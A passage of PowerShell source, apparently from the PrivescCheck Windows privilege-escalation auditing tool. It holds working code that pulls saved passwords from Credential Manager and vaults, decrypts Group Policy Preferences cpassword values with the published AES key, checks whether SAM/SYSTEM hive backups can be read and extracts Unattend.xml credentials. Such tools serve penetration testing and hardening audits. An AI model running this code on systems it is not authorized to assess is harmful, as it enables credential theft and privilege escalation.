3799 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Comment" -Value $Credential.Comment
3800 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "$($Credential.Type) - $(Convert-TypeToString -Type $Credential.Type)"
3801 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Persist" -Value "$($Credential.Persist) - $(Convert-PersistToString -Persist $Credential.Persist)"
3802 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Flags" -Value "0x$($Credential.Flags.ToString('X8'))"
3803 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "Credential" -Value $CredentialStr
3804 $CredentialObject
3805 }
3806 }
3807
3808 [PrivescCheck.Win32]::CredFree($CredentialsPtr)
3809
3810 } else {
3811 # If there is no saved credentials, CredEnumerate sets the last error to ERROR_NOT_FOUND
3812 # but this doesn't mean that the function really failed. The same thing applies for
3813 # the error code ERROR_NO_SUCH_LOGON_SESSION.
3814 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
3815 }
3816}
3817
3818function Invoke-VaultListCheck {
3819 <#
3820 .SYNOPSIS
3821
3822 Enumerates web credentials saved in the Credential Manager.
3823
3824 Author: @itm4n
3825 License: BSD 3-Clause
3826
3827 .DESCRIPTION
3828
3829 Credentials saved in Internet Explorer or Edge for example are actually saved in the system's
3830 Credential Manager. These credentials can be extracted using undocumented Windows API functions
3831 from "vaultcli.dll". It's highly inspired from the "vault::list" command of M*m*k*tz (by
3832 Benjamin Delpy @gentilkiwi) and "Get-VaultCredential.ps1" (by Matthew Graeber @mattifestation).
3833 Only entries containing a non-empty password field are returned as a custom PS object.
3834
3835 .EXAMPLE
3836
3837 PS C:\> Invoke-VaultListCheck
3838
3839 Type : Web Credentials
3840 TargetName : https://github.com/
3841 UserName : foo123@example.com
3842 Credential : foo123
3843 LastWritten : 01/01/1970 13:37:00
3844
3845 .LINK
3846
3847 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_vault.c
3848 https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Get-VaultCredential.ps1
3849
3850 #>
3851
3852
3853 [CmdletBinding()] param()
3854
3855 function Get-VaultNameFromGuid {
3856 [CmdletBinding()] param(
3857 [Guid] $VaultGuid
3858 )
3859
3860 $VaultSchemaEnum = @{
3861 ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
3862 ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
3863 ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
3864 ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
3865 ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
3866 ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
3867 ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
3868 ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
3869 }
3870
3871 $VaultSchemaEnum[$VaultGuid]
3872 }
3873
3874 # Highly inspired from "Get-VaultCredential.ps1", credit goes to Matthew Graeber (@mattifestation)
3875 # https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Get-VaultCredential.ps1
3876 function Get-VaultItemElementValue {
3877 [CmdletBinding()] param(
3878 [IntPtr] $VaultItemElementPtr
3879 )
3880
3881 if ($VaultItemElementPtr -eq [IntPtr]::Zero) {
3882 return
3883 }
3884
3885 $VaultItemDataHeader = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultItemElementPtr, [type] [PrivescCheck.Win32+VAULT_ITEM_DATA_HEADER])
3886 $VaultItemDataValuePtr = [IntPtr] ($VaultItemElementPtr.ToInt64() + 16)
3887
3888 switch ($VaultItemDataHeader.Type) {
3889
3890 # ElementType_Boolean
3891 0x00 {
3892 [Bool] [Runtime.InteropServices.Marshal]::ReadByte($VaultItemDataValuePtr)
3893 }
3894
3895 # ElementType_Short
3896 0x01 {
3897 [Runtime.InteropServices.Marshal]::ReadInt16($VaultItemDataValuePtr)
3898 }
3899
3900 # ElementType_UnsignedShort
3901 0x02 {
3902 [Runtime.InteropServices.Marshal]::ReadInt16($VaultItemDataValuePtr)
3903 }
3904
3905 # ElementType_Integer
3906 0x03 {
3907 [Runtime.InteropServices.Marshal]::ReadInt32($VaultItemDataValuePtr)
3908 }
3909
3910 # ElementType_UnsignedInteger
3911 0x04 {
3912 [Runtime.InteropServices.Marshal]::ReadInt32($VaultItemDataValuePtr)
3913 }
3914
3915 # ElementType_Double
3916 0x05 {
3917 [Runtime.InteropServices.Marshal]::PtrToStructure($VaultItemDataValuePtr, [Type] [Double])
3918 }
3919
3920 # ElementType_Guid
3921 0x06 {
3922 [Runtime.InteropServices.Marshal]::PtrToStructure($VaultItemDataValuePtr, [Type] [Guid])
3923 }
3924
3925 # ElementType_String
3926 0x07 {
3927 $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr($VaultItemDataValuePtr)
3928 [Runtime.InteropServices.Marshal]::PtrToStringUni($StringPtr)
3929 }
3930
3931 # ElementType_ByteArray
3932 0x08 {
3933
3934 }
3935
3936 # ElementType_TimeStamp
3937 0x09 {
3938
3939 }
3940
3941 # ElementType_ProtectedArray
3942 0x0a {
3943
3944 }
3945
3946 # ElementType_Attribute
3947 0x0b {
3948
3949 }
3950
3951 # ElementType_Sid
3952 0x0c {
3953 $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr($VaultItemDataValuePtr)
3954 $SidObject = [Security.Principal.SecurityIdentifier] ($SidPtr)
3955 $SidObject.Value
3956 }
3957
3958 # ElementType_Max
3959 0x0d {
3960
3961 }
3962 }
3963 }
3964
3965 $VaultsCount = 0
3966 $VaultGuids = [IntPtr]::Zero
3967 $Result = [PrivescCheck.Win32]::VaultEnumerateVaults(0, [ref]$VaultsCount, [ref]$VaultGuids)
3968
3969 if ($Result -eq 0) {
3970
3971 Write-Verbose "VaultEnumerateVaults() OK - Count: $($VaultsCount)"
3972
3973 for ($i = 0; $i -lt $VaultsCount; $i++) {
3974
3975 $VaultGuidPtr = [IntPtr] ($VaultGuids.ToInt64() + ($i * [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])))
3976 $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultGuidPtr, [type] [Guid])
3977 $VaultName = Get-VaultNameFromGuid -VaultGuid $VaultGuid
3978
3979 Write-Verbose "Vault: $($VaultGuid) - $($VaultName)"
3980
3981 $VaultHandle = [IntPtr]::Zero
3982 $Result = [PrivescCheck.Win32]::VaultOpenVault($VaultGuidPtr, 0, [ref]$VaultHandle)
3983
3984 if ($Result -eq 0) {
3985
3986 Write-Verbose "VaultOpenVault() OK - Vault Handle: 0x$($VaultHandle.ToString('X8'))"
3987
3988 $VaultItemsCount = 0
3989 $ItemsPtr = [IntPtr]::Zero
3990 $Result = [PrivescCheck.Win32]::VaultEnumerateItems($VaultHandle, 0x0200, [ref]$VaultItemsCount, [ref]$ItemsPtr)
3991
3992 $VaultItemPtr = $ItemsPtr
3993
3994 if ($Result -eq 0) {
3995
3996 Write-Verbose "VaultEnumerateItems() OK - Items Count: $($VaultItemsCount)"
3997
3998 $OSVersion = [Environment]::OSVersion.Version
3999
4000 try {
4001
4002 for ($j = 0; $j -lt $VaultItemsCount; $j++) {
4003
4004 if ($OSVersion.Major -le 6 -and $OSVersion.Minor -le 1) {
4005 # Windows 7
4006 $VaultItemType = [type] [PrivescCheck.Win32+VAULT_ITEM_7]
4007 } else {
4008 # Windows 8+
4009 $VaultItemType = [type] [PrivescCheck.Win32+VAULT_ITEM_8]
4010 }
4011
4012 $VaultItem = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultItemPtr, [type] $VaultItemType)
4013
4014 if ($OSVersion.Major -le 6 -and $OSVersion.Minor -le 1) {
4015 # Windows 7
4016 $PasswordItemPtr = [IntPtr]::Zero
4017 $Result = [PrivescCheck.Win32]::VaultGetItem7($VaultHandle, [ref]$VaultItem.SchemaId, $VaultItem.Resource, $VaultItem.Identity, [IntPtr]::Zero, 0, [ref]$PasswordItemPtr)
4018 } else {
4019 # Windows 8+
4020 $PasswordItemPtr = [IntPtr]::Zero
4021 $Result = [PrivescCheck.Win32]::VaultGetItem8($VaultHandle, [ref]$VaultItem.SchemaId, $VaultItem.Resource, $VaultItem.Identity, $VaultItem.PackageSid, [IntPtr]::Zero, 0, [ref]$PasswordItemPtr)
4022 }
4023
4024 if ($Result -eq 0) {
4025
4026 Write-Verbose "VaultGetItem() OK - ItemPtr: 0x$($PasswordItemPtr.ToString('X8'))"
4027 $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordItemPtr, [Type] $VaultItemType)
4028 $Password = Get-VaultItemElementValue -VaultItemElementPtr $PasswordItem.Authenticator
4029 [PrivescCheck.Win32]::VaultFree($PasswordItemPtr) | Out-Null
4030
4031 } else {
4032 Write-Verbose "VaultGetItem() failed - Err: 0x$($Result.ToString('X8'))"
4033 }
4034
4035 if (-not [String]::IsNullOrEmpty($Password)) {
4036 $Item = New-Object -TypeName PSObject
4037 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $VaultName
4038 $Item | Add-Member -MemberType "NoteProperty" -Name "TargetName" -Value $(Get-VaultItemElementValue -VaultItemElementPtr $VaultItem.Resource)
4039 $Item | Add-Member -MemberType "NoteProperty" -Name "UserName" -Value $(Get-VaultItemElementValue -VaultItemElementPtr $VaultItem.Identity)
4040 $Item | Add-Member -MemberType "NoteProperty" -Name "Credential" -Value $Password
4041 $Item | Add-Member -MemberType "NoteProperty" -Name "LastWritten" -Value $([DateTime]::FromFileTimeUtc($VaultItem.LastWritten))
4042 $Item
4043 }
4044
4045 $VaultItemPtr = [IntPtr] ($VaultItemPtr.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VaultItemType))
4046 }
4047
4048 } catch [Exception] {
4049 Write-Verbose $_.Exception.Message
4050 }
4051
4052 } else {
4053 Write-Verbose "VaultEnumerateItems() failed - Err: 0x$($Result.ToString('X8'))"
4054 }
4055
4056 [PrivescCheck.Win32]::VaultCloseVault([ref]$VaultHandle) | Out-Null
4057
4058 } else {
4059 Write-Verbose "VaultOpenVault() failed - Err: 0x$($Result.ToString('X8'))"
4060 }
4061 }
4062
4063 } else {
4064 Write-Verbose "VaultEnumerateVaults() failed - Err: 0x$($Result.ToString('X8'))"
4065 }
4066}
4067
4068function Invoke-GPPPasswordCheck {
4069 <#
4070 .SYNOPSIS
4071
4072 Lists Group Policy Preferences (GPP) containing a non-empty "cpassword" field
4073
4074 Author: @itm4n
4075 Credit: @obscuresec, @harmj0y
4076 License: BSD 3-Clause
4077
4078 .DESCRIPTION
4079
4080 Before KB2928120 (see MS14-025), some Group Policy Preferences could be configured with a
4081 custom account. This feature was mainly used to deploy a custom local administrator account on
4082 a group of machines. There were two problems with this approach though. First, since the Group
4083 Policy Objects are stored as XML files in SYSVOL, any domain user can read them. The second
4084 problem is that the password set in these GPPs is AES256-encrypted with a default key, which
4085 is publicly documented. This means that any authenticated user could potentially access very
4086 sensitive data and elevate their privileges on their machine or even the domain.
4087
4088 This function will check whether any locally cached GPP file contains a non-empty "cpassword"
4089 field. If so, it will decrypt it and return a custom PS object containing some information
4090 about the GPP along with the location of the file.
4091
4092 .PARAMETER Remote
4093
4094 Set this flag if you want to search for GPP files in the SYSVOL share of your primary Domain
4095 Controller. Initially, I wanted to do only local checks but this was a special request from
4096 @mpgn_x64 so I couldn't say no :P.
4097
4098 .EXAMPLE
4099
4100 PS C:\> Invoke-GPPPasswordCheck
4101
4102 Type : Mapped Drive
4103 UserName : shareuser
4104 Password : S3cur3Shar3
4105 Content : Path: \\evilcorp.lab\SecureShare
4106 Changed : 2020-02-09 14:03:57
4107 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{3A61470B-FD38-462A-A2E2-FC279A2754AE}\S-1-5-21-2135246055-3766984803-592010092-1103\Preferences\Drives\Drives.xml
4108
4109 Type : Data Source
4110 UserName : datasource
4111 Password : S0urce0fThePr0blem
4112 Content : DSN: source
4113 Changed : 2020-02-09 12:23:43
4114 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{3FC99437-7C06-491A-8EBC-786CDA055862}\S-1-5-21-2135246055-3766984803-592010092-1103\Preferences\DataSources\DataSources.xml
4115
4116 Type : Service
4117 UserName : EVILCORP\SvcControl
4118 Password : S3cr3tS3rvic3
4119 Content : Name: CustomService
4120 Changed : 2020-02-09 12:16:18
4121 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{66E11622-15A4-40B7-938C-FAD43AF1F572}\Machine\Preferences\Services\Services.xml
4122
4123 Type : Scheduled Task
4124 UserName : EVILCORP\SvcCustomTask
4125 Password : T4skM4ster
4126 Content : App: C:\windows\system32\cmd.exe
4127 Changed : 2020-02-09 12:20:50
4128 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{6E9805DA-4CFC-47AC-BFC4-216FED08D39E}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
4129
4130 Type : User/Group
4131 UserName : LocalAdmin
4132 Password : $uper$ecureP4ss
4133 Content : Description: Super secure local admin account
4134 Changed : 2020-02-09 12:09:59
4135 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{8B95814A-23A2-4FB7-8BBA-53745EA1F11C}\Machine\Preferences\Groups\Groups.xml
4136
4137 .LINK
4138
4139 https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
4140 https://adsecurity.org/?p=2288
4141 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025
4142 https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati
4143
4144 #>
4145
4146 [CmdletBinding()] param(
4147 [switch]$Remote
4148 )
4149
4150 Add-Type -Assembly System.Security
4151 Add-Type -Assembly System.Core
4152
4153 function Get-DecryptedPassword {
4154 [CmdletBinding()] param(
4155 [string] $Cpassword
4156 )
4157
4158 if (-not [String]::IsNullOrEmpty($Cpassword)) {
4159
4160 $Mod = $Cpassword.Length % 4
4161 if ($Mod -gt 0) {
4162 $Cpassword += "=" * (4 - $Mod)
4163 }
4164
4165 $Base64Decoded = [Convert]::FromBase64String($Cpassword)
4166
4167 try {
4168
4169 $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
4170 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
4171
4172 $AesIV = New-Object Byte[]($AesObject.IV.Length)
4173 $AesObject.IV = $AesIV
4174 $AesObject.Key = $AesKey
4175 $DecryptorObject = $AesObject.CreateDecryptor()
4176 [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
4177
4178 [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
4179
4180 } catch [Exception] {
4181 Write-Verbose $_.Exception.Message
4182 }
4183 }
4184 }
4185
4186 if ($Remote) {
4187 $GppPath = "\\$($Env:USERDNSDOMAIN)\SYSVOL"
4188 } else {
4189 $GppPath = $Env:ALLUSERSPROFILE
4190 if ($GppPath -notmatch "ProgramData") {
4191 $GppPath = Join-Path -Path $GppPath -ChildPath "Application Data"
4192 } else {
4193 $GppPath = Join-Path -Path $GppPath -ChildPath "Microsoft\Group Policy"
4194 }
4195 }
4196
4197 if (Test-Path -Path $GppPath -ErrorAction SilentlyContinue) {
4198
4199 $CachedGPPFiles = Get-ChildItem -Path $GppPath -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Drives.xml','Printers.xml' -Force -ErrorAction SilentlyContinue
4200
4201 foreach ($File in $CachedGPPFiles) {
4202
4203 $FileFullPath = $File.FullName
4204 Write-Verbose $FileFullPath
4205
4206 try {
4207 [xml]$XmlFile = Get-Content -Path $FileFullPath -ErrorAction SilentlyContinue
4208 } catch [Exception] {
4209 Write-Verbose $_.Exception.Message
4210 }
4211
4212 if ($Null -eq $XmlFile) {
4213 continue
4214 }
4215
4216 $XmlFile.GetElementsByTagName("Properties") | ForEach-Object {
4217
4218 $Properties = $_
4219 $Cpassword = ""
4220
4221 switch ($File.BaseName) {
4222
4223 Groups {
4224 $Type = "User/Group"
4225 $UserName = $Properties.userName
4226 $Cpassword = $Properties.cpassword
4227 $Content = "Description: $($Properties.description)"
4228 }
4229
4230 Scheduledtasks {
4231 $Type = "Scheduled Task"
4232 $UserName = $Properties.runAs
4233 $Cpassword = $Properties.cpassword
4234 $Content = "App: $($Properties.appName) $($Properties.args)"
4235 }
4236
4237 DataSources {
4238 $Type = "Data Source"
4239 $UserName = $Properties.username
4240 $Cpassword = $Properties.cpassword
4241 $Content = "DSN: $($Properties.dsn)"
4242 }
4243
4244 Drives {
4245 $Type = "Mapped Drive"
4246 $UserName = $Properties.userName
4247 $Cpassword = $Properties.cpassword
4248 $Content = "Path: $($Properties.path)"
4249 }
4250
4251 Services {
4252 $Type = "Service"
4253 $UserName = $Properties.accountName
4254 $Cpassword = $Properties.cpassword
4255 $Content = "Name: $($Properties.serviceName)"
4256 }
4257
4258 Printers {
4259 $Type = "Printer"
4260 $UserName = $Properties.username
4261 $Cpassword = $Properties.cpassword
4262 $Content = "Path: $($Properties.path)"
4263 }
4264 }
4265
4266 if (-not [String]::IsNullOrEmpty($Cpassword)) {
4267 $Item = New-Object -TypeName PSObject
4268 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $Type
4269 $Item | Add-Member -MemberType "NoteProperty" -Name "UserName" -Value $UserName
4270 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $(Get-DecryptedPassword -Cpassword $Cpassword)
4271 $Item | Add-Member -MemberType "NoteProperty" -Name "Content" -Value $Content
4272 $Item | Add-Member -MemberType "NoteProperty" -Name "Changed" -Value $Properties.ParentNode.changed
4273 $Item | Add-Member -MemberType "NoteProperty" -Name "FilePath" -Value $FileFullPath
4274 $Item
4275 }
4276 }
4277 }
4278 }
4279}
4280# ----------------------------------------------------------------
4281# END CREDENTIALS
4282# ----------------------------------------------------------------
4283
4284# ----------------------------------------------------------------
4285# BEGIN SENSITIVE FILES
4286# ----------------------------------------------------------------
4287function Invoke-SamBackupFilesCheck {
4288 <#
4289 .SYNOPSIS
4290
4291 Checks common locations for the SAM/SYSTEM backup files and checks whether the current
4292 user can read them.
4293
4294 Author: @itm4n
4295 License: BSD 3-Clause
4296
4297 .DESCRIPTION
4298
4299 The SAM/SYSTEM registry hives are stored as files in a known location:
4300 'C:\windows\System32\config'. These files are locked by default so even SYSTEM can't read them
4301 when the system is running. However, copies of these files can be created in other folders so
4302 it's worth checking if these files are accessible.
4303
4304 #>
4305
4306 [CmdletBinding()] param()
4307
4308 $ArrayOfPaths = New-Object System.Collections.ArrayList
4309 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "repair\SAM"))
4310 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "System32\config\RegBack\SAM"))
4311 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "System32\config\SAM"))
4312 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "repair\system"))
4313 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "System32\config\SYSTEM"))
4314 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "System32\config\RegBack\system"))
4315
4316 ForEach ($Path in [string[]]$ArrayOfPaths) {
4317
4318 if (Test-Path -Path $Path -ErrorAction SilentlyContinue) {
4319
4320 Get-Content -Path $Path -ErrorAction SilentlyContinue -ErrorVariable GetContentError | Out-Null
4321
4322 if (-not $GetContentError) {
4323 $SamBackupFile = New-Object -TypeName PSObject
4324 $SamBackupFile | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $Path
4325 $SamBackupFile
4326 }
4327 }
4328 }
4329}
4330
4331function Invoke-UnattendFilesCheck {
4332 <#
4333 .SYNOPSIS
4334
4335 Enumerates Unattend files and extracts credentials
4336
4337 Author: @itm4n
4338 License: BSD 3-Clause
4339
4340 .DESCRIPTION
4341
4342 Searches common locations for "Unattend.xml" files. When a file is found, it calls the custom
4343 "Get-UnattendSensitiveData" function to extract credentials from it. Note: credentials are only
4344 returned if the password is not empty and not equal to "*SENSITIVE*DATA*DELETED*".
4345
4346 .EXAMPLE
4347
4348 PS C:\> Invoke-UnattendFilesCheck | fl
4349
4350 Type : LocalAccount
4351 Domain : N/A
4352 Username : John
4353 Password : Password1
4354 File : C:\WINDOWS\Panther\Unattend.xml
4355
4356 #>
4357
4358 [CmdletBinding()] param()
4359
4360 $ArrayOfPaths = New-Object System.Collections.ArrayList
4361 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "Panther\Unattended.xml"))
4362 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "Panther\Unattend.xml"))
4363 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "Panther\Unattend\Unattended.xml"))
4364 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "Panther\Unattend\Unattend.xml"))
4365 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "System32\Sysprep\Unattend.xml"))
4366 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "System32\Sysprep\Panther\Unattend.xml"))
4367
4368 ForEach ($Path in [string[]]$ArrayOfPaths) {
4369
4370 if (Test-Path -Path $Path -ErrorAction SilentlyContinue) {
4371
4372 Write-Verbose "Found file: $Path"
4373
4374 $Result = Get-UnattendSensitiveData -Path $Path
4375 if ($Result) {
4376 $Result | Add-Member -MemberType "NoteProperty" -Name "File" -Value $Path
4377 $Result
4378 }
4379 }
4380 }
4381}
4382# ----------------------------------------------------------------
4383# END SENSITIVE FILES
4384# ----------------------------------------------------------------
4385
4386
4387# ----------------------------------------------------------------
4388# BEGIN INSTALLED PROGRAMS
4389# ----------------------------------------------------------------
4390function Invoke-InstalledProgramsCheck {
4391 <#
4392 .SYNOPSIS
4393
4394 Enumerates the applications that are not installed by default
4395
4396 Author: @itm4n
4397 License: BSD 3-Clause
4398
4399 .DESCRIPTION
4400
4401 Uses the custom "Get-InstalledPrograms" function to get a filtered list of installed programs
4402 and then returns each result as a simplified PS object, indicating the name and the path of
4403 the application.
4404
4405 .EXAMPLE
4406
4407 PS C:\> Invoke-InstalledProgramsCheck | ft
4408
4409 Name FullPath
4410 ---- --------
4411 Npcap C:\Program Files\Npcap
4412 Wireshark C:\Program Files\Wireshark
4413
4414 #>
4415
4416 [CmdletBinding()] param()
4417
4418 $InstalledProgramsResult = New-Object System.Collections.ArrayList
4419
4420 $Items = Get-InstalledPrograms -Filtered
4421
4422 ForEach ($Item in $Items) {
4423 $CurrentFileName = $Item.Name
4424 $CurrentFileFullname = $Item.FullName
4425 $AppItem = New-Object -TypeName PSObject
4426 $AppItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $CurrentFileName
4427 $AppItem | Add-Member -MemberType "NoteProperty" -Name "FullPath" -Value $CurrentFileFullname
4428 [void]$InstalledProgramsResult.Add($AppItem)
4429 }
4430
4431 $InstalledProgramsResult
4432}
4433
4434function Invoke-ModifiableProgramsCheck {
4435 <#
4436 .SYNOPSIS
4437
4438 Identifies applications which have a modifiable EXE of DLL file
4439
4440 Author: @itm4n
4441 License: BSD 3-Clause
4442
4443 .DESCRIPTION
4444
4445 For each non-default application, enumerates the .exe and .dll files that the current user has
4446 modify permissions on.
4447
4448 .EXAMPLE
4449
4450 PS C:\> Invoke-ModifiableProgramsCheck | ft
4451
4452 ModifiablePath IdentityReference Permissions
4453 -------------- ----------------- -----------
4454 C:\Program Files\VulnApp\Packages DESKTOP-FEOHNOM\user {WriteOwner, Delete, WriteAttributes, Synchronize...}
4455 C:\Program Files\VulnApp\app.exe DESKTOP-FEOHNOM\user {WriteOwner, Delete, WriteAttributes, Synchronize...}
4456 C:\Program Files\VulnApp\foobar.dll DESKTOP-FEOHNOM\user {WriteOwner, Delete, WriteAttributes, Synchronize...}
4457
4458 #>
4459
4460 [CmdletBinding()] param()
4461
4462 $Items = Get-InstalledPrograms -Filtered
4463
4464 ForEach ($Item in $Items) {
4465
4466 $SearchPath = New-Object -TypeName System.Collections.ArrayList
4467 [void]$SearchPath.Add([string]$(Join-Path -Path $Item.FullName -ChildPath "\*")) # Do this to avoid the use of -Depth which is PSH5+
4468 [void]$SearchPath.Add([string]$(Join-Path -Path $Item.FullName -ChildPath "\*\*")) # Do this to avoid the use of -Depth which is PSH5+
4469
4470 $ChildItems = Get-ChildItem -Path $SearchPath -ErrorAction SilentlyContinue -ErrorVariable GetChildItemError
4471 #$ChildItems = $Item | Get-ChildItem -Recurse -Depth 2 -ErrorAction SilentlyContinue -ErrorVariable GetChildItemError
4472
4473 if (-not $GetChildItemError) {
4474
4475 $ChildItems | ForEach-Object {
4476
4477 if ($_ -is [System.IO.DirectoryInfo]) {
4478 $ModifiablePaths = $_ | Get-ModifiablePath -LiteralPaths
4479 } else {
4480 # Check only .exe and .dll ???
4481 # TODO: maybe consider other extensions
4482 if ($_.FullName -Like "*.exe" -or $_.FullName -Like "*.dll") {
4483 $ModifiablePaths = $_ | Get-ModifiablePath -LiteralPaths
4484 }
4485 }
4486
4487 if ($ModifiablePaths) {
4488 ForEach ($Path in $ModifiablePaths) {
4489 if ($Path.ModifiablePath -eq $_.FullName) {
4490 $Path
4491 }
4492 }
4493 }
4494 }
4495 }
4496 }
4497}
4498
4499function Invoke-RunningProcessCheck {
4500 <#
4501 .SYNOPSIS
4502
4503 Enumerates the running processes
4504
4505 Author: @itm4n
4506 License: BSD 3-Clause
4507
4508 .DESCRIPTION
4509
4510 First, it lists all the processes thanks to the built-in "Get-Process" function. Then, it
4511 filters the result in order to return only the non-default Windows processes. By default,
4512 this function returns only process that are NOT owned by teh current user but you can
4513 use the "-Self" flag to get them.
4514
4515 .PARAMETER Self
4516
4517 Use this flag to get a list of all the process owned by the current user
4518
4519 .EXAMPLE
4520
4521 PS C:\> Invoke-RunningProcessCheck | ft
4522
4523 Name PID User Path SessionId
4524 ---- --- ---- ---- ---------
4525 cmd 4224 N/A 1
4526 conhost 5336 N/A 1
4527 ctfmon 7436 N/A 1
4528 dllhost 3584 N/A 0
4529 dllhost 4172 N/A 1
4530 fontdrvhost 860 N/A 0
4531 fontdrvhost 928 N/A 1
4532 lsass 732 N/A 0
4533 MsMpEng 3524 N/A 0
4534 MsMpEngCP 1132 N/A 0
4535 NisSrv 4256 N/A 0
4536 regedit 8744 N/A 1
4537 SearchFilterHost 9360 N/A 0
4538 SearchIndexer 596 N/A 0
4539 SearchProtocolHost 32 N/A 0
4540 SecurityHealthService 7980 N/A 0
4541 SgrmBroker 9512 N/A 0
4542 spoolsv 2416 N/A 0
4543 TabTip 7456 N/A 1
4544 wininit 564 N/A 0
4545 winlogon 676 N/A 1
4546 WmiPrvSE 3972 N/A 0
4547
4548 #>
4549
4550 [CmdletBinding()] param(
4551 [switch]
4552 $Self = $False
4553 )
4554
4555 $CurrentUser = $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
4556
4557 $IgnoredProcessNames = @("Idle", "services", "Memory Compression", "TrustedInstaller", "PresentationFontCache", "Registry", "ServiceShell", "System",
4558 "csrss", # Client/Server Runtime Subsystem
4559 "dwm", # Desktop Window Manager
4560 "msdtc", # Microsoft Distributed Transaction Coordinator
4561 "smss", # Session Manager Subsystem
4562 "svchost" # Service Host
4563 )
4564
4565 $AllProcess = Get-Process
4566
4567 ForEach ($Process in $AllProcess) {
4568
4569 if (-not ($IgnoredProcessNames -contains $Process.Name )) {
4570
4571 $ProcessUser = (Get-UserFromProcess -ProcessId $Process.Id).DisplayName
4572
4573 $ReturnProcess = $False
4574
4575 if ($Self) {
4576 if ($ProcessUser -eq $CurrentUser) {
4577 $ReturnProcess = $True
4578 }
4579 } else {
4580 if (-not ($ProcessUser -eq $CurrentUser)) {
4581
4582 # Here, I check whether 'C:\Windows\System32\<PROC_NAME>.exe' exists
4583 # Not ideal but it's a quick way to check whether it's a built-in binary.
4584 # There might be some issues because of the FileSystem Redirector if the script is
4585 # run from a 32-bits instance of powershell.exe (-> SysWow64 instead of System32).
4586 $PotentialImagePath = Join-Path -Path $env:SystemRoot -ChildPath "System32"
4587 $PotentialImagePath = Join-Path -Path $PotentialImagePath -ChildPath "$($Process.name).exe"
4588
4589 # If we can't find it in System32, add it to the list
4590 if (-not (Test-Path -Path $PotentialImagePath)) {
4591 $ReturnProcess = $True
4592 }
4593 $ReturnProcess = $True
4594 }
4595 }
4596
4597 if ($ReturnProcess) {
4598 $RunningProcess = New-Object -TypeName PSObject
4599 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Process.Name
4600 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "PID" -Value $Process.Id
4601 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "User" -Value $(if ($ProcessUser) { $ProcessUser } else { "N/A" })
4602 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $Process.Path
